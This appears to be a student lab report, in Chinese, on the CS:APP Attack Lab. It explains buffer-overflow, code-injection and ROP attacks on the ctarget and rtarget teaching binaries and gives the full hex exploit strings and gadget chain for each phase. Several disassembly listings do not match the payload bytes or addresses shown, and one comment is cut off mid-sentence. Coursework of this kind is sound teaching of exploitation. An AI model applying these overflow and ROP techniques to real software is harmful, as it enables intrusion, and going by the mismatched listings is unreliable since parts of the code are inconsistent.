实验报告

ctarget

phase_1

分析

通过观察getbuf函数与touch1函数，发现需要通过调用gets函数输出字符串到缓冲区时getbuf函数返回时返回到touch1函数中。而在getbuf函数中%rsp的值减少了0x30，所以需要0x28个字符先使缓冲区溢出，之后将touch1的返回地址通过小端法填入后8个字符。

密码

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 // 前四十位使缓冲区溢出
d6 16 40 00 00 00 00 00 // 后八位为
```

phase_2

分析

通过与touch1的代码比对发现，touch2正确返回需要让%rdi的值等于cookie。所以我们需要在程序中注入代码改变%rdi中的值并且成功调用touch2函数。首先需要将需要注入的代码编译成二进制文件，之后通过反汇编得到汇编代码对应的机器代码，之后将机器代码写入字符串中。

注入代码

```
// 反汇编后的汇编代码
0000000000000000 <.text>:
   0:   48 8b 3c 25 20 37 38    mov    0x43383720,%rdi // 将cookie值放入%rdi中
   7:   43
   8:   ff 34 25 02 17 40 00    pushq  0x401702 // 将touch2的地址压入栈中
   f:   c3                      retq   // 返回
```

密码

```
48 c7 c7 20 37 38 43 68
02 17 40 00 c3 00 00 00 // 注入代码对应的机器代码
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b8 53 68 55 00 00 00 00 // 栈顶地址，执行注入代码
```

phase_3

分析

与phase_2类似，只不过phase_3要去比对的是cookie的字符串，在phase_3的函数体中调用了hexmatch函数，因为在函数hexmatch中字符串的地址是随机的，写在getbuf中的字符串可能会被覆盖，所以我们将字符串写到test函数中开辟的缓冲区中。因为getbuf函数一共开辟了0x28个字节的缓冲区，所以加0x30即到达test的缓冲区。

注入代码

```
Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 e8 68 55 68    mov    0x556853e8,%rdi // 将字符串的首地址传入%rdi
   7:   d6 17 18 40 00          pushq  $0x4018fa // 将phase_3的返回地址压入栈中
   c:   c3                      ret // 返回
```

密码

```
48 c7 c7 e8 53 68 55 68
d6 17 40 00 c3 00 00 00 // 注入代码的机器码
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b8 53 68 55 00 00 00 00 // 栈顶地址
34 33 33 38 33 37 32 30 00 // cookie的字符串表示
```

rtarget

此任务中禁止了代码的注入，并且将每次运行时的栈针随机化，因此无法通过之前的方法解开密码。而在程序中的farm代码段中含有一些我们需要的汇编代码的机器码，因此我们可以对程序进行ROP攻击。

farm

```
000000000040185e <start_farm>:
40185e:    b8 01 00 00 00         mov    $0x1,%eax
401863:    c3                     retq

0000000000401864 <setval_407>:
401864:    c7 07 58 94 90 90      movl   $0x90909458,(%rdi)
40186a:    c3                     retq

000000000040186b <addval_472>:
40186b:    8d 87 48 89 c7 91      lea    -0x6e3876b8(%rdi),%eax
401871:    c3                     retq

0000000000401872 <setval_437>:
401872:    c7 07 58 90 90 90      movl   $0x90909058,(%rdi)
401878:    c3                     retq

0000000000401879 <getval_309>:
401879:    b8 58 90 90 c3         mov    $0xc3909058,%eax
40187e:    c3                     retq

000000000040187f <addval_473>:
40187f:    8d 87 69 d2 58 c7      lea    -0x38a72d97(%rdi),%eax
401885:    c3                     retq

0000000000401886 <setval_254>:
401886:    c7 07 48 89 c7 c3      movl   $0xc3c78948,(%rdi)
40188c:    c3                     retq

000000000040188d <getval_471>:
40188d:    b8 48 89 c7 c3         mov    $0xc3c78948,%eax
401892:    c3                     retq

0000000000401893 <addval_195>:
401893:    8d 87 48 c9 c7 90      lea    -0x6f3836b8(%rdi),%eax
401899:    c3                     retq

000000000040189a <mid_farm>:
40189a:    b8 01 00 00 00         mov    $0x1,%eax
40189f:    c3                     retq
```

```
00000000004018a0 <add_xy>:
4018a0:    48 8d 04 37            lea    (%rdi,%rsi,1),%rax
4018a4:    c3                     retq

00000000004018a5 <addval_343>:
4018a5:    8d 87 99 d1 84 c9      lea    -0x367b2e67(%rdi),%eax
4018ab:    c3                     retq

00000000004018ac <addval_103>:
4018ac:    8d 87 89 d1 28 d2      lea    -0x2dd72e77(%rdi),%eax
4018b2:    c3                     retq

00000000004018b3 <addval_194>:
4018b3:    8d 87 48 89 e0 c1      lea    -0x3e1f76b8(%rdi),%eax
4018b9:    c3                     retq

00000000004018ba <setval_261>:
4018ba:    c7 07 c9 ce 90 c3      movl   $0xc390cec9,(%rdi)
4018c0:    c3                     retq

00000000004018c1 <addval_282>:
4018c1:    8d 87 8d d1 90 c3      lea    -0x3c6f2e73(%rdi),%eax
4018c7:    c3                     retq

00000000004018c8 <getval_205>:
4018c8:    b8 09 c2 08 d2         mov    $0xd208c209,%eax
4018cd:    c3                     retq

00000000004018ce <setval_456>:
4018ce:    c7 07 89 d1 84 d2      movl   $0xd284d189,(%rdi)
4018d4:    c3                     retq

00000000004018d5 <addval_348>:
4018d5:    8d 87 89 ce 28 c0      lea    -0x3fd73177(%rdi),%eax
4018db:    c3                     retq

00000000004018dc <setval_202>:
4018dc:    c7 07 81 ce 20 c9      movl   $0xc920ce81,(%rdi)
4018e2:    c3                     retq

00000000004018e3 <addval_238>:
4018e3:    8d 87 89 c2 08 d2      lea    -0x2df73d77(%rdi),%eax
4018e9:    c3                     retq

00000000004018ea <getval_458>:
4018ea:    b8 09 c2 08 db         mov    $0xdb08c209,%eax
4018ef:    c3                     retq

00000000004018f0 <setval_305>:
4018f0:    c7 07 89 ce 90 c1      movl   $0xc190ce89,(%rdi)
4018f6:    c3                     retq

00000000004018f7 <getval_271>:
4018f7:    b8 ee 89 c2 c1         mov    $0xc1c289ee,%eax
```

```
4018fc:    c3                      retq

00000000004018fd <setval_280>:
4018fd:    c7 07 48 89 e0 94       movl   $0x94e08948,(%rdi)
401903:    c3                      retq

0000000000401904 <addval_375>:
401904:    8d 87 89 ce 18 c0       lea    -0x3fe73177(%rdi),%eax
40190a:    c3                      retq

000000000040190b <addval_355>:
40190b:    8d 87 c6 89 c2 90       lea    -0x6f3d763a(%rdi),%eax
401911:    c3                      retq

0000000000401912 <getval_359>:
401912:    b8 81 c2 84 d2          mov    $0xd284c281,%eax
401917:    c3                      retq

0000000000401918 <addval_477>:
401918:    8d 87 81 c2 c3 57       lea    0x57c3c281(%rdi),%eax
40191e:    c3                      retq

000000000040191f <setval_134>:
40191f:    c7 07 89 ce 84 c9       movl   $0xc984ce89,(%rdi)
401925:    c3                      retq

0000000000401926 <addval_448>:
401926:    8d 87 48 89 e0 91       lea    -0x6e1f76b8(%rdi),%eax
40192c:    c3                      retq

000000000040192d <setval_410>:
40192d:    c7 07 a9 ce 84 db       movl   $0xdb84cea9,(%rdi)
401933:    c3                      retq

0000000000401934 <addval_227>:
401934:    8d 87 89 ce 90 c3       lea    -0x3c6f3177(%rdi),%eax
40193a:    c3                      retq

000000000040193b <getval_404>:
40193b:    b8 89 d1 90 c7          mov    $0xc790d189,%eax
401940:    c3                      retq

0000000000401941 <setval_460>:
401941:    c7 07 81 c2 38 d2       movl   $0xd238c281,(%rdi)
401947:    c3                      retq

0000000000401948 <getval_315>:
401948:    b8 c9 d1 90 90          mov    $0x9090d1c9,%eax
40194d:    c3                      retq

000000000040194e <getval_463>:
40194e:    b8 89 d1 84 db          mov    $0xdb84d189,%eax
401953:    c3                      retq

0000000000401954 <getval_427>:
```

```
401954:    b8 08 89 e0 90          mov    $0x90e08908,%eax
401959:    c3                      retq

000000000040195a <addval_397>:
40195a:    8d 87 89 d1 94 90       lea    -0x6f6b2e77(%rdi),%eax
401960:    c3                      retq

0000000000401961 <getval_257>:
401961:    b8 48 89 e0 c3          mov    $0xc3e08948,%eax
401966:    c3                      retq

0000000000401967 <addval_162>:
401967:    8d 87 80 40 89 e0       lea    -0x1f76bf80(%rdi),%eax
40196d:    c3                      retq

000000000040196e <getval_385>:
40196e:    b8 48 89 e0 c2          mov    $0xc2e08948,%eax
401973:    c3                      retq

0000000000401974 <getval_415>:
401974:    b8 48 89 e0 c3          mov    $0xc3e08948,%eax
401979:    c3                      retq

000000000040197a <end_farm>:
40197a:    b8 01 00 00 00          mov    $0x1,%eax
40197f:    c3                      retq
```

在上述代码中，每一段机器码后面都紧更着一句ret语句，每次从栈顶读取需要到达的位置，跳转并执行它。所以我们可以通过farm中已经提供的机器代码段，找到我们需要的代码段并将其输入到字符串密码中组装起来。

phase_2

分析

通过ctarget的phase_2的分析可以知道我们需要插入两段汇编代码并在farm代码段中找到对应的机器代码，填入字符串中。

密码

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 // 使缓冲区溢出
74 18 40 00 00 00 00 00 // 第一句汇编指令 popq %rax 对应机器码的地址
20 37 38 43 00 00 00 00 // cookie的值，在弹栈时写入、%rax中
6d 18 40 00 00 00 00 00 // 第二句汇编指令 movq %rax, %rdi的机器码地址
02 17 40 00 00 00 00 00 // touch2的返回地址
```

phase_3

分析

首先与先前一样，需要将输入的字符串传入test的缓冲区中，因此，我们需要获得每次随机化后的栈指针的值。同时因为test与getbuf缓冲区存在一个偏移量，因此需要将栈指针的值加上偏移量的值作为传入字符串的首地址放入%rdi中。通过观察可以发现farm中含有一个函数实现%rdi+%rsi的值传入%rax中，因此偏移量我们通过弹栈弹出到%rax中并且之后通过寄存器的赋值放入%rsi中，%rsp的值通过%rax为媒介放入%rdi中，之后将%rdi与%rsi的和重新放入%rdi中作为参数传递。

密码

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 // 使缓冲区溢出
62 19 40 00 00 00 00 00 // popq %rax
88 18 40 00 00 00 00 00 // movq %rax, %rdi
74 18 40 00 00 00 00 00 // popq %rax
48 00 00 00 00 00 00 00 // 偏移值
e5 18 40 00 00 00 00 00 // movl %eax, %edx
d0 18 40 00 00 00 00 00 // movl %edx, %ecx
21 19 40 00 00 00 00 00 // movl %ecx, %esi
a0 18 40 00 00 00 00 00 // leaq (%rdi, %rsi, 1), %rax
88 18 40 00 00 00 00 00 // movq %rax, %rdi
d6 17 40 00 00 00 00 00 // touch3的返回地址
34 33 33 38 33 37 32 30 00 // cookie的字符串形式
```